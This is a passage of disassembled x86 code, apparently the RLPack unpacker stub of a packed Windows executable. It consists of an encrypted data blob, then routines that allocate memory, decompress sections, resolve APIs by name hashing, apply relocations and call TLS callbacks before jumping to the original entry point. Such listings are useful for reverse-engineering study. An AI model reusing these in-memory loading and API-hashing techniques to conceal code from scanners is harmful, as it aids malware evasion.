68CFF086h, 0AC6FD050h, 8129DAE2h dd 0F98B8038h, 0FAF10C05h, 0CD043DA4h, 0EAC3D271h, 88257891h dd 0A834846Ah, 8F2755F6h, 0BD6A4664h, 0EF4C2837h, 3C130206h dd 5B552F96h, 0ADF13629h, 0F43EBD42h, 11E2A8CDh, 90DD613h dd 1301BB31h, 2019CF52h, 34565898h, 74DCE9A9h, 0F820CD1h dd 57070D0Ah, 0E53D9E6h, 2AA05F9Dh, 35F47B24h, 50FE893Fh dd 27C3B7ACh, 0A4A35DC1h, 24442932h, 7134C5A8h, 917DBBAEh dd 0C41D9837h, 0D3AE3784h, 0FB4B38B9h, 0F8DDFE06h, 0AC7A4E17h dd 313CC1DAh, 0AE3AB57Bh, 5201E47Fh, 0F530C880h, 0F64A861Eh dd 5870B4Bh, 96707F0Ch, 5263514Dh, 0DB0A0A4Bh, 51471043h dd 858F5E65h, 0C352EDF8h, 0D3588C07h, 0B7948B7Ah, 1726E4F5h dd 7A755718h, 0C9CD98A7h, 14FE2FD1h, 0C4C5141h, 54AB7E4h dd 0AF8FB6F2h, 6473241Bh, 0DC361E13h, 789FADBAh, 0ACED781Eh dd 8142A5A0h, 70B2D303h, 1C0CAC85h, 0B3E04183h, 0DDC22776h dd 0E1971DE9h, 6B271C8Ch, 0B878D4h, 0D43B631Ch, 39CB16AAh dd 49672005h, 5A896FAEh, 91CDD8A9h, 0F4924D92h, 58F69311h dd 0AD191EA7h, 4E311EF1h, 5C37D30h, 90CE8413h, 0CBC1323Dh dd 0BADAF486h, 3ED005D7h, 0DF64AEA8h, 1B0268F0h, 5AA2DB80h dd 75A54B16h, 42F2A565h, 88DEDF2Ah, 46496C78h, 4207BA9Bh dd 0B5E2D4E3h, 0BDE09437h, 0A5D0C8E2h, 6FF339E1h, 94290A5Dh dd 7A4D3F70h, 0CB7F6014h, 0C5D73503h, 0A14F45D1h, 6374A1BEh dd 0ABB263BEh, 2CFE110Bh, 0BF6BA9EBh, 6A2ABBC8h, 2167CAFFh dd 0E6E44F39h, 4E1D059h, 25AD9C14h, 0DDFCF578h, 7ED8F657h dd 836C05A5h, 0D004AD6Eh, 7B81AA7Ch, 71047787h, 21C26DB7h dd 53DABC9Ch, 11826840h, 4C6E0020h, 93E39769h, 1D8CF1E1h dd 33374AADh, 32D813FEh, 3688DB8h, 94DDA6D2h, 4CC240A7h dd 7AC2118Ch, 3C4C6F43h, 0D4BDF654h, 33C437D9h, 5FD5A6DDh dd 2473614Dh, 0C50A3BF4h, 0C1EA6FF7h, 0F7ACDF4h, 0E4C73174h dd 385E4FF3h, 259EB1EEh, 5651A40Fh, 73F6A718h, 0C1F37147h dd 2458E189h, 9EA7F30Ah, 8DF2B623h, 0C85B2AE0h, 308489E3h dd 2F957F24h, 0E0110006h, 7E4B6754h, 3286FF0h, 58F35FD2h dd 0F65815F9h, 69F6DC80h, 80F545D1h, 0F7002F02h, 3D95926h dd 677AF272h, 7DB17F3Dh, 316B646Dh, 0AF8C9239h, 98040DC8h dd 3A79B93Bh, 0AF5D942Dh, 0E021BB3h, 6985FD24h, 2772389Ah dd 0B66CE166h, 0C66AC708h, 0D84DFEF0h, 0EB5C938Eh, 0FB240DC8h dd 5D9605AAh, 0DBEC6DBAh, 9EE1F266h, 0EBB941DBh, 9335623h dd 303D202Bh, 0E54C7950h, 4DEF4C8Fh, 771CA65Fh, 0F52FC0C4h dd 43E838A3h, 84D9979Ch, 0D32A9FB7h, 0A7917652h, 28079FD9h dd 8C33E334h, 0C2B98644h, 0C3266576h, 0F486F7AAh, 6F8E838Ch dd 6879C749h, 0F3B8F58Fh, 3E26D3CCh, 0B7D2B9B3h, 5BF57388h dd 45D72EC4h, 7576A2h, 0FE9E5765h, 0ED615869h, 0BC05C75Fh dd 0DD6FCA89h, 0D855A06Ah, 0A62A2655h, 2C182E05h, 0DAFFF2A6h dd 315FF14h, 0FA667869h, 0CED1B1CFh, 0D7248B7Dh, 0A8136DF3h dd 61CC2A25h, 32AE28BAh, 0EFB6FCE1h, 0CD564968h, 299B9EBBh dd 90C815F2h, 0B45B45F9h, 5E310CB4h, 824AD7CEh, 3A846ACBh dd 4BBF1C8Fh, 46ED0EBCh, 0D5CAE09Eh, 9DB6BAA7h, 0F0A0F5B8h dd 0EA442F03h, 99CDCF56h, 0F55AEB7Bh, 4F2D348Ah, 6CAA3C4Fh dd 3271B187h, 0D782D57Ch, 0F7FCFA7h, 573A3EC7h, 1B5245Ch dd 7423E90h, 37224BABh, 0E57F0DEFh, 3A6FE538h, 22969894h dd 0FD18EE45h, 0EAE65F6Eh dd 27E242D7h, 1ACD4BEBh, 835B29F3h, 21C9FE87h, 0B2E8C3F3h dd 0B997690Bh, 74A18E8h, 74FA2329h, 1BA2F4ACh, 49BAE924h dd 3AFFDD9Ch, 19CAF73h, 0F69F4A4Eh, 99ED95BEh, 720F8792h dd 0A152FF06h, 185771B4h, 446E49CBh, 67528CF4h, 0A937ED58h dd 2F2A18AAh, 8E1C5B0Ch, 646F11AFh, 0E060B6C6h, 9F8EBE38h dd 986334B8h, 52831E1Ch, 0EFE616E4h, 1216AEBAh, 273311D6h dd 9CA20601h, 5F6B7558h, 0BD8DE56Eh, 7DA02464h, 17EB063Bh dd 0F61AA21Eh, 924D6D59h, 70027DE5h, 8D8B0D92h, 6FC4AB23h dd 0FE35EBF5h, 0B5866F40h, 0F1CE05D3h, 6B827BB4h, 9A4EAEBCh dd 0DDED5604h, 0D56D5951h, 6FA7AA19h, 0A2E96DF0h, 0E0890F94h dd 0B79AA2D1h, 0CE3D2B7Ah, 0E4BEDE04h, 0E1849924h, 0B31F50B9h dd 19F2BE3Ch, 0A946C3D6h, 86039220h, 3BC41ED2h, 0E18FEE63h dd 6B342D43h, 7755CF63h, 0C3EE5F05h, 0D36852B7h, 0BFE72324h dd 18BAFE5h, 0DFB18AA8h, 2DE163E4h, 0BC5E4169h, 3BFCD1F9h dd 85EE63EAh, 93A8B699h, 0A872106Dh, 0B7BBB6Bh, 0B1528F97h dd 2AAF51DDh, 0D3369916h, 86F77C3Eh, 0AA8C8E60h, 8949100Dh dd 0B43316Dh, 2FF8239h, 0C6BB0C03h, 0FCC05EEFh, 0DDF598Eh dd 9F41C65Ch, 4192D4EDh, 88C0D1B4h, 168D71EBh, 5815C897h dd 126FA6F5h, 0DCA54902h, 482B972h, 61305F29h, 0CA9EDF65h dd 0D01B43E2h, 84EBE054h, 0C737AFCCh, 202024F0h, 0F3E06981h dd 0F456E10Eh, 37376B65h, 0DD478734h, 8E1618E0h, 4F98A3ECh dd 823533CEh, 7A79002Fh, 8A28AD6h, 0D6C2FA3h, 0B5E12FB4h dd 360A16AEh, 3277869Bh, 9140BF3Eh, 8BAAA84h, 0CB80FE5Eh dd 0CAECFCEEh, 7598A456h, 3F3B9106h, 0DACE1039h, 0F3D945E9h dd 8032EE3Ch, 71D06204h, 0F0A68F69h, 0EB83F0C0h, 0A985AA38h dd 297C9F8Fh, 801D98B0h, 66690C7Ah, 1E2829ADh, 8C8930F4h dd 33F55FD9h, 822318D7h, 8AE29782h, 3E5109D5h, 11662BB5h dd 0FCB01867h, 0AA5122E5h, 24BFC870h, 0E4323522h, 0D8644035h dd 40952C4Ah, 8627C5E0h, 0F82D5D09h, 2FC3F1AAh, 5CE677A1h dd 0CC16F58Fh, 0A32ABD12h, 212A6955h, 555CD4C6h, 0A7E82522h dd 52453450h, 60CA50CEh, 26745D9Bh, 55B66F77h, 0DAAFF44Ah dd 0C421A6FDh, 0F203FFC5h, 9DB069E9h, 0CE1D50D6h, 0A048CDBFh dd 0D280D919h, 0EAB86CF7h, 34C9D29Bh, 0AC19DBF2h, 6CAFB982h dd 500D5511h, 0DEB649EEh, 61E9A88Eh, 0C871E327h, 0A9923C08h dd 21D70C6h, 0E4CF3814h, 0C4749D0Ah, 47292329h, 75FB6003h dd 0EA13B1DFh, 8E34C4EEh, 2EE8FAA3h, 1E85202Ah, 1CF1B3CCh dd 39D94004h, 0B320C52Ah, 345AC5C3h, 0A7E1ABBh, 993A7139h dd 31D4633Dh, 1884303Fh, 8908E8B8h, 91C1451Fh, 0CC1BFEC0h dd 0D71FD85Fh, 2D7ABBh, 8A678B1Fh, 8D4BA426h, 2CFDE2E4h dd 18611CA6h, 0A674AD18h, 7F0AD91Fh, 248D6CADh, 0DD6780B3h dd 0FABC59B2h, 5FCA909Fh, 0C45A3C2h, 0A3B60112h, 0E1BE1DC4h dd 8E3DDEh, 45FADB5Fh, 3D6468A9h, 0E6CAAB8Eh, 0FDD48F14h dd 75F9F265h, 0D357FFF8h, 0C2D4DA17h, 4DFAC0B0h, 597C4F43h dd 556A2B58h, 95DB63FBh, 2DA32F31h, 0AC5BF787h, 5FC6FFECh dd 8EDB522Bh, 499C12BEh, 6AC2B9BFh, 0CDFC7E42h, 728A007Bh dd 0F40B5202h, 67F39254h, 0FFFE2FAFh, 68DAB01Bh, 249DEFDDh dd 0D6B20ED9h, 0C417832Fh, 0C75894E4h, 0D4B14176h, 3D1F3FB5h dd 51D2D61Ah, 8F585464h, 263CE6CEh, 94E55CE0h, 6994214Ch dd 70782F3Fh, 3E52378Bh, 3999B542h, 0A2ACAA20h, 0B1CE0C6Eh dd 60BF9959h, 0AB215F7Eh, 0A17FA6A4h, 2A1D0BAAh, 0DAF665E7h dd 1B2C06D2h, 0D9F8FFCFh, 0F46Dh, 0 dd 0A4F7FD6Fh, 63633E34h, 807FC4Bh, 0B7B03387h, 6863484Ah dd 4E3603D1h, 1DBB50DAh, 0FCEA4574h, 0AD3AC541h, 0EA1D711Ah dd 0D94F76E2h, 47A3A7EAh, 0A49016FCh, 0D70858E2h, 2809B09h dd 0F533D45Eh, 65226F8Fh, 0AA35F5AAh, 0B7175381h, 0A0B3E86h dd 4CBCD053h, 0F73E91DEh, 0D5271C70h, 0BD161428h, 0D4A9B7BFh dd 425EE606h, 28417752h, 2BC8B696h, 576051C6h, 0AF48D7B6h dd 0C46B8CC9h, 0C9600023h, 9E08E5E1h, 6236E9E7h, 4838BA7Ch dd 1D9B58F1h, 0E1C64A7Bh, 3B9AF677h, 9B1272C8h, 0B6A86EA9h dd 947B6243h, 0CE0E6C36h, 1F5BB7ADh, 0B257CE9h, 286C8094h dd 8D9605B2h, 0BBDD1BFFh, 5D04B5F1h, 0B2680139h, 746B18D0h dd 833A2AD6h, 68E95CE0h, 6A5C154h, 0A9DA16EBh, 2505B1F4h dd 2E02FB9h, 2DA9B9C3h, 0A41173BCh, 3CFE5ED0h, 0B7A0290Fh dd 0FA098244h, 1B29B66Ch, 9561D56Ah, 0FDCADA24h, 8C209834h dd 39263B48h, 75AC7647h, 0C2873028h, 7743553h, 90C00BB2h dd 1B99BA6Fh, 4A017CBCh, 0FEEECB2Eh, 0DE37F934h, 1065048Dh dd 0BA9E9A6Ah, 1B64B743h, 6E4CC924h, 0C829ABC2h, 7DC41E34h dd 0DC75A57Dh, 6C8FE77h, 4D8430DBh, 0B0EAC391h, 30E02035h dd 4ABC3213h, 3F73D279h, 0C429BB30h, 468A0EF7h, 0C7EC8C44h dd 0F14B2470h, 9BB3C99Ch, 3354297Ah, 0CE913F2Eh, 9B4784F0h dd 0F2C522C5h, 0E8544C50h, 0E71F8EF9h, 0F3F1CF92h, 0A732749Fh dd 206C7FFDh, 0F7B6F746h, 0E63409D4h, 0B13D8EC5h, 0A2E4B8EFh dd 94B2EF6Eh, 4D1DA4EAh, 3E51A19Eh, 1F148EE8h, 0B1F5E841h dd 783F5578h, 0DA6F4F98h, 2A75DCDAh, 45289896h, 7610760Fh dd 0DC33C8D4h, 0DCD69DCAh, 34EF625Fh, 3BB1E012h, 291C1510h dd 75C89FA6h, 28F2F5AEh, 846F9313h, 2F4D9039h, 49851B3Eh dd 0B307D99Bh, 73E4702Ch, 8DFA0B62h, 563D3180h, 95522E35h dd 2532EC2Ch, 29D0E273h, 4E616644h, 94F84FE1h, 3D598637h dd 293908ADh, 9D7C3BE1h, 1EF6087Fh, 741ED5FDh, 76DC0F86h dd 50EFA012h, 9E902974h, 4BA8FAC9h, 0CEDD0C58h, 985694E4h dd 3C9EDA17h, 9733D335h, 0E1D910CFh, 0D37F3149h, 0DFEF6346h dd 168EAE36h, 27514BB3h, 0A1B625F2h, 0C82AD99Dh, 0D576CC2h dd 0AEF3F96Fh, 75016803h, 0F1891628h, 0A478D02h, 0E88BC319h dd 0A70BDE6Ch, 0E94D9271h, 729B8EF0h, 18D2379Fh, 75252CB9h dd 0D3289661h, 56E7804Ah, 0EEA35AB0h, 2E12260Dh, 34B95CA2h dd 8ABB30BCh, 0FAEED9F3h, 0FFC0DDB6h, 0D0CD3EBAh, 0 dd 586C0000h, 796937F4h, 0FCE83A75h, 0CEA0B7A6h, 0A104B20Bh dd 0FA66993Ah, 6D8FBB6Ah, 9548BC81h, 0DF5E9BA8h, 0DD9683E4h dd 0F11FE1F4h, 224077BBh, 7FFFE27Bh, 9E9BE3C4h, 909F8E02h dd 18102FD3h, 0D31EEB5Eh, 7554350h, 1500AB3Bh, 0D24217FDh dd 0BFFF47BAh, 46A141C4h, 0F37099C9h, 714671D0h, 80BFC2AEh dd 0F1C8409Ah, 90701770h, 77E01C68h, 0E942CF77h, 3B110269h dd 0B8612948h, 8FDCBF4Ah, 178AA404h, 0F85BE651h, 2773AE9Fh dd 5258D97Dh, 0A38624BEh, 3AB8C83Bh, 4760C436h, 90388ED2h dd 0B1C7ACAFh, 409B3466h, 0CD3A48E2h, 4B90BB97h, 21E4A4DEh dd 0F2FD6D4Eh, 55CFA2BBh, 0FF262C85h, 0B9F84F6Fh, 0CCFB48CCh dd 279CCC7Dh, 0D5C33E4Fh, 9DA2787Eh, 0CA7C11E1h, 7C62B8E8h dd 6AD83D0Fh, 0CB332461h, 0BACB0B68h, 23F2FDB8h, 2FDCF92Fh dd 5A77E5E4h, 9DC1934Ch, 643EB57Eh, 7748863Bh, 509D6360h dd 7D9E1F44h, 0DC6201F2h, 72694A40h, 88859C37h, 9F65C92Fh dd 0F88A72CFh, 95D5BE63h, 83197DB3h, 1CD7C885h, 0FF3F3D7Bh dd 0CA7736E3h, 0B0025BE3h, 5A4727AFh, 1FED00F7h, 18A30331h dd 209E59B8h, 0E883D7C6h, 0FDA49C92h, 0CB17B07Bh, 0FD95FC45h dd 4C03381Eh, 0C08085B4h, 6F5C7A57h, 8937F9Bh, 0D2E0D447h dd 4808352Ch, 4258FFBFh, 72619BE1h, 64F5F81Ch, 0F68046ABh dd 10124C81h, 0D963BC80h, 26EB312Eh, 711D3A8Ah, 114EB6B2h dd 3E835D9h, 0DD7FF378h, 6030072Dh, 3BD991FDh, 2E3B00FCh dd 7881DF9Eh, 724C4E47h, 6F6FC096h, 3E2DE7F5h, 7A16A8EBh dd 7331CD5h, 0EA6417E7h, 9748AAA8h, 0FC96259Dh, 0D95D8E62h dd 117B3FF1h, 7EE08DB2h, 45568AFFh, 34D6EFA3h, 0AB3F9DEAh dd 39A5D545h, 0E54DC785h, 0AB4A908Fh, 1D5BD743h, 0B9274DCh dd 0E17D8188h, 0A9800113h, 7DCB4739h, 9E4A341Bh, 9EA0F74Dh dd 9C9F77B5h, 39D10A25h, 0AB3CF2F1h, 82CA65F8h, 5BD678EBh dd 256BAEC8h, 59EA4A57h, 0A56B4C38h, 83DE0D0Ah, 9D3DCDCBh dd 0C884A9A1h, 7F17B4B8h, 25C8114Ch, 0BFE83AE3h, 0A9302F16h dd 4C629CCCh, 82AEFACCh, 9A3DEFE8h, 0AE4ACE2h, 0EBF80E60h dd 0DC226055h, 20C9CE83h, 0EDAD82E4h, 1DFF3917h, 5EF5EF6Ch dd 50FEC858h, 1023h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc near var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha call $+5 mov ebp, [esp+24h+var_24] add esp, 4 cmp [esp+20h+arg_4], 1 jnz short loc_51E149 mov eax, [esp+20h+arg_0] mov [ebp+0C9Ch], eax jmp short loc_51E155 ; --------------------------------------------------------------------------- loc_51E149: ; CODE XREF: start+11j mov eax, [ebp+0C98h] mov [ebp+0C9Ch], eax loc_51E155: ; CODE XREF: start+1Dj lea esi, [ebp+0CC4h] lea ebx, [ebp+482h] xor edi, edi push 40h push 1000h push 0C2000h push 0 call dword ptr [ebp+0C2Dh] mov [ebp+0C94h], eax call sub_51E2DB jmp short loc_51E1A4 ; --------------------------------------------------------------------------- loc_51E184: ; CODE XREF: start+7Ej pusha mov eax, [ebp+0C9Ch] push dword ptr [ebp+0C94h] push dword ptr [edi+esi] add [esp+2Ch+var_2C], eax push dword ptr [edi+esi+4] add [esp+30h+var_30], eax call ebx popa add edi, 8 loc_51E1A4: ; CODE XREF: start+58j cmp dword ptr [edi+esi], 0 jnz short loc_51E184 cmp dword ptr [ebp+0CA8h], 0 jz short loc_51E1C1 cmp dword ptr [ebp+0CACh], 0 jz short loc_51E1C1 call sub_51E3B3 loc_51E1C1: ; CODE XREF: start+87j start+90j lea esi, [edi+esi+4] push ebx push 40h push 1000h push 157h push 0 call dword ptr [ebp+0C2Dh] mov [ebp+0CC0h], eax pop ebx pusha push dword ptr [ebp+0C94h] push esi push dword ptr [ebp+0CC0h] call ebx popa mov esi, [ebp+0CC0h] mov eax, esi jmp short loc_51E1FD ; --------------------------------------------------------------------------- loc_51E1FC: ; CODE XREF: start+D6j inc eax loc_51E1FD: ; CODE XREF: start+D0j cmp byte ptr [eax], 1 jnz short loc_51E1FC inc eax mov edi, [eax] add edi, [ebp+0C9Ch] add eax, 4 mov [ebp+0CBCh], eax jmp short loc_51E288 ; --------------------------------------------------------------------------- loc_51E216: ; CODE XREF: start+161j push esi call dword ptr [ebp+0C25h] or eax, eax jnz short loc_51E226 call sub_51E50C loc_51E226: ; CODE XREF: start+F5j test eax, eax jz loc_51E2D9 mov [ebp+0CB8h], eax mov eax, esi jmp short loc_51E266 ; --------------------------------------------------------------------------- loc_51E238: ; CODE XREF: start+13Fj mov eax, [ebp+0CBCh] mov eax, [eax] push eax push dword ptr [ebp+0CB8h] call sub_51E47A test eax, eax jz loc_51E2D9 mov [edi], eax add dword ptr [ebp+0CBCh], 4 add edi, 4 mov eax, [ebp+0CBCh] loc_51E266: ; CODE XREF: start+10Cj cmp dword ptr [eax], 0 jnz short loc_51E238 jmp short loc_51E26E ; --------------------------------------------------------------------------- loc_51E26D: ; CODE XREF: start+147j inc esi loc_51E26E: ; CODE XREF: start+141j cmp byte ptr [esi], 0 jnz short loc_51E26D inc esi add eax, 4 mov edi, [eax] add edi, [ebp+0C9Ch] add eax, 4 mov [ebp+0CBCh], eax loc_51E288: ; CODE XREF: start+EAj cmp byte ptr [esi], 1 jnz short loc_51E216 push 4000h push 157h push dword ptr [ebp+0CC0h] call dword ptr [ebp+0C31h] push 8000h push 0 push dword ptr [ebp+0CC0h] call dword ptr [ebp+0C31h] push 8000h push 0 push dword ptr [ebp+0C94h] call dword ptr [ebp+0C31h] call sub_51E32F call sub_51E42F popa jmp sub_402EE0 ; --------------------------------------------------------------------------- loc_51E2D9: ; CODE XREF: start+FEj start+124j popa retn start endp ; =============== S U B R O U T I N E ======================================= sub_51E2DB proc near ; CODE XREF: start+53p pusha lea eax, [ebp+0C90h] push eax push 40h push 200h push dword ptr [ebp+0C9Ch] call dword ptr [ebp+0C35h] mov dword ptr [ebp+0C90h], 2040001h mov eax, [ebp+0C9Ch] add eax, [eax+3Ch] add ax, [eax+14h] add eax, 18h mov ebx, [eax+0Ch] add ebx, [ebp+0C9Ch] mov ecx, [eax+8] lea eax, [ebp+0C90h] push eax push 40h push ecx push ebx call dword ptr [ebp+0C35h] popa retn sub_51E2DB endp ; =============== S U B R O U T I N E ======================================= sub_51E32F proc near ; CODE XREF: start+19Fp var_24 = dword ptr -24h pusha mov esi, [ebp+0CA0h] or esi, esi jz short loc_51E3B1 mov edi, [ebp+0C98h] mov eax, [ebp+0C9Ch] cmp eax, edi jz short loc_51E3B1 add esi, eax jmp short loc_51E3AC ; --------------------------------------------------------------------------- loc_51E34E: ; CODE XREF: sub_51E32F+80j mov edx, [esi] mov eax, [esi+4] mov [ebp+0CA4h], eax add [ebp+0CA4h], esi mov ebx, [ebp+0C9Ch] xor ecx, ecx add esi, 8 jmp short loc_51E3A4 ; --------------------------------------------------------------------------- loc_51E36C: ; CODE XREF: sub_51E32F+7Bj movzx eax, byte ptr [esi] cmp al, 0E0h jnb short loc_51E387 push eax add eax, edx add eax, ebx add eax, ecx add ecx, [esp+24h+var_24] add esp, 4 sub [eax], edi add [eax], ebx inc esi jmp short loc_51E3A4 ; --------------------------------------------------------------------------- loc_51E387: ; CODE XREF: sub_51E32F+42j movzx eax, word ptr [esi] xchg al, ah sub ax, 0E000h push eax add eax, edx add eax, ebx add eax, ecx add ecx, [esp+24h+var_24] add esp, 4 sub [eax], edi add [eax], ebx add esi, 2 loc_51E3A4: ; CODE XREF: sub_51E32F+3Bj ; sub_51E32F+56j cmp esi, [ebp+0CA4h] jb short loc_51E36C loc_51E3AC: ; CODE XREF: sub_51E32F+1Dj cmp dword ptr [esi], 0 jnz short loc_51E34E loc_51E3B1: ; CODE XREF: sub_51E32F+9j ; sub_51E32F+19j popa retn sub_51E32F endp ; =============== S U B R O U T I N E ======================================= sub_51E3B3 proc near ; CODE XREF: start+92p pusha mov esi, [ebp+0CA8h] add esi, [ebp+0C9Ch] mov edi, esi mov ecx, [ebp+0CACh] cmp dword ptr [ebp+0CB0h], 0 jz short loc_51E405 jmp short loc_51E3FE ; --------------------------------------------------------------------------- loc_51E3D3: ; CODE XREF: sub_51E3B3+4Ej cmp byte ptr [esi], 0E8h jz short loc_51E3DD cmp byte ptr [esi], 0E9h jnz short loc_51E3FC loc_51E3DD: ; CODE XREF: sub_51E3B3+23j mov eax, [esi+1] cmp al, [ebp+0CB0h] jnz short loc_51E3F6 mov al, 0 bswap eax sub eax, 5 add eax, edi sub eax, esi mov [esi+1], eax loc_51E3F6: ; CODE XREF: sub_51E3B3+33j add esi, 4 sub ecx, 4 loc_51E3FC: ; CODE XREF: sub_51E3B3+28j inc esi dec ecx loc_51E3FE: ; CODE XREF: sub_51E3B3+1Ej cmp ecx, 0 ja short loc_51E3D3 jmp short loc_51E42D ; --------------------------------------------------------------------------- loc_51E405: ; CODE XREF: sub_51E3B3+1Cj cdq jmp short loc_51E428 ; --------------------------------------------------------------------------- loc_51E408: ; CODE XREF: sub_51E3B3+78j inc edx cmp byte ptr [esi], 0E8h jz short loc_51E413 cmp byte ptr [esi], 0E9h jnz short loc_51E426 loc_51E413: ; CODE XREF: sub_51E3B3+59j mov eax, [esi+1] bswap eax sub eax, edx mov [esi+1], eax add esi, 4 add edx, 4 sub ecx, 4 loc_51E426: ; CODE XREF: sub_51E3B3+5Ej inc esi dec ecx loc_51E428: ; CODE XREF: sub_51E3B3+53j cmp ecx, 0 ja short loc_51E408 loc_51E42D: ; CODE XREF: sub_51E3B3+50j popa retn sub_51E3B3 endp ; =============== S U B R O U T I N E ======================================= sub_51E42F proc near ; CODE XREF: start+1A4p pusha mov esi, [ebp+0CA0h] mov esi, [ebp+0C9Ch] add esi, [esi+3Ch] mov esi, [esi+0C0h] or esi, esi jz short loc_51E478 add esi, [ebp+0C9Ch] add esi, 0Ch mov esi, [esi] or esi, esi jz short loc_51E478 mov eax, [esi] jmp short loc_51E474 ; --------------------------------------------------------------------------- loc_51E45C: ; CODE XREF: sub_51E42F+47j push esi cmp dword ptr [eax], 0 jz short loc_51E46E push 0 push 1 push dword ptr [ebp+0C9Ch] call eax loc_51E46E: ; CODE XREF: sub_51E42F+31j pop esi add esi, 4 mov eax, [esi] loc_51E474: ; CODE XREF: sub_51E42F+2Bj or eax, eax jnz short loc_51E45C loc_51E478: ; CODE XREF: sub_51E42F+18j ; sub_51E42F+27j popa retn sub_51E42F endp ; =============== S U B R O U T I N E ======================================= sub_51E47A proc near ; CODE XREF: start+11Dp sub_51E50C+14p var_4 = dword ptr -4 arg_0 = byte ptr 4 lea eax, [esp+arg_0] pusha mov esi, eax mov eax, [esi+4] rol eax, 8 cmp al, 80h jnz short loc_51E4A9 ror eax, 8 xor eax, 80000000h cmp eax, 10000h jbe short loc_51E4B6 xor eax, 80000000h push eax push dword ptr [esi] call sub_51E4C7 jmp short loc_51E4B6 ; --------------------------------------------------------------------------- loc_51E4A9: ; CODE XREF: sub_51E47A+Fj ror eax, 8 push dword ptr [esi+4] push dword ptr [esi] call sub_51E4C7 loc_51E4B6: ; CODE XREF: sub_51E47A+1Ej ; sub_51E47A+2Dj push eax push dword ptr [esi] call dword ptr [ebp+0C29h] mov [esp+20h+var_4], eax popa retn 8 sub_51E47A endp ; =============== S U B R O U T I N E ======================================= sub_51E4C7 proc near ; CODE XREF: sub_51E47A+28p ; sub_51E47A+37p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebx, [esp+20h+arg_0] mov ecx, ebx add ebx, [ebx+3Ch] mov ebx, [ebx+78h] add ebx, ecx mov edi, [ebx+20h] add edi, ecx xor esi, esi loc_51E4DD: ; CODE XREF: sub_51E4C7+34j lea edx, [edi+esi*4] mov edx, [edx] add edx, ecx xor eax, eax loc_51E4E6: ; CODE XREF: sub_51E4C7+28j rol eax, 7 xor al, [edx] inc edx cmp byte ptr [edx], 0 jnz short loc_51E4E6 cmp eax, [esp+20h+arg_4] jz short loc_51E4FD inc esi cmp esi, [ebx+18h] jb short loc_51E4DD loc_51E4FD: ; CODE XREF: sub_51E4C7+2Ej lea edx, [edi+esi*4] mov edx, [edx] add edx, ecx mov [esp+20h+var_4], edx popa retn 8 sub_51E4C7 endp ; =============== S U B R O U T I N E ======================================= sub_51E50C proc near ; CODE XREF: start+F7p arg_4 = dword ptr 8 pusha lea eax, [ebp+0C18h] push eax call dword ptr [ebp+0C25h] push 774393E8h push eax call sub_51E47A mov edi, eax push 40h push 1000h push 104h push 0 call dword ptr [ebp+0C2Dh] mov [ebp+0CB4h], eax push 104h push dword ptr [ebp+0CB4h] cmp dword ptr [ebp+0C9Ch], 0 jz short loc_51E55D push dword ptr [ebp+0C9Ch] jmp short loc_51E563 ; --------------------------------------------------------------------------- loc_51E55D: ; CODE XREF: sub_51E50C+47j push dword ptr [ebp+0C98h] loc_51E563: ; CODE XREF: sub_51E50C+4Fj call edi mov eax, [ebp+0CB4h] jmp short loc_51E56E ; --------------------------------------------------------------------------- loc_51E56D: ; CODE XREF: sub_51E50C+65j inc eax loc_51E56E: ; CODE XREF: sub_51E50C+5Fj cmp byte ptr [eax], 0 jnz short loc_51E56D jmp short loc_51E579 ; --------------------------------------------------------------------------- loc_51E575: ; CODE XREF: sub_51E50C+70j mov byte ptr [eax], 0 dec eax loc_51E579: ; CODE XREF: sub_51E50C+67j cmp byte ptr [eax], 5Ch jnz short loc_51E575 inc eax jmp short loc_51E588 ; --------------------------------------------------------------------------- loc_51E581: ; CODE XREF: sub_51E50C+7Fj movzx ebx, byte ptr [esi] mov [eax], bl inc esi inc eax loc_51E588: ; CODE XREF: sub_51E50C+73j cmp byte ptr [esi], 0 jnz short loc_51E581 push dword ptr [ebp+0CB4h] call dword ptr [ebp+0C25h] mov [esp+14h+arg_4], eax push 8000h push 0 push dword ptr [ebp+0CB4h] call dword ptr [ebp+0C31h] popa retn sub_51E50C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h xor eax, eax inc eax mov edi, [ebp+10h] mov [ebp-14h], eax mov [ebp-1Ch], eax mov [ebp-18h], eax mov [ebp-28h], eax mov eax, 400h xor edx, edx mov ecx, 30736h rep stosd mov eax, [ebp+0Ch] push 5 mov [ebp-8], eax mov [ebp-10h], edx mov [ebp-1], dl mov [ebp-0Ch], edx mov [ebp+0Ch], edx or eax, 0FFFFFFFFh pop ecx loc_51E5F0: ; CODE XREF: .RLPack:0051E605j mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi inc dword ptr [ebp-8] dec ecx mov [ebp+0Ch], edx jnz short loc_51E5F0 loc_51E607: ; CODE XREF: .RLPack:0051E799j ; .RLPack:0051E7A8j ... mov esi, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ebp+10h] and esi, 3 shl ecx, 4 add ecx, esi cmp eax, 1000000h lea edi, [edx+ecx*4] jnb short loc_51E639 mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_51E639: ; CODE XREF: .RLPack:0051E620j mov ecx, [edi] mov ebx, eax shr ebx, 0Bh imul ebx, ecx cmp [ebp+0Ch], ebx jnb loc_51E7B6 mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx movzx ecx, byte ptr [ebp-1] imul ecx, 0C00h xor edx, edx mov [edi], esi mov esi, [ebp+10h] inc edx cmp dword ptr [ebp-0Ch], 7 lea ecx, [esi+ecx+1CD8h] mov eax, ebx mov [ebp-20h], ecx jl loc_51E71F mov ecx, [ebp-10h] sub ecx, [ebp-14h] mov esi, [ebp+8] movzx ecx, byte ptr [esi+ecx] mov [ebp-24h], ecx loc_51E690: ; CODE XREF: .RLPack:0051E717j shl dword ptr [ebp-24h], 1 mov esi, [ebp-24h] mov edi, [ebp-20h] and esi, 100h cmp eax, 1000000h lea ecx, [edx+esi] lea ecx, [edi+ecx*4+400h] mov [ebp-2Ch], ecx jnb short loc_51E6CA mov ebx, [ebp-8] mov edi, [ebp+0Ch] movzx ebx, byte ptr [ebx] shl edi, 8 or edi, ebx shl eax, 8 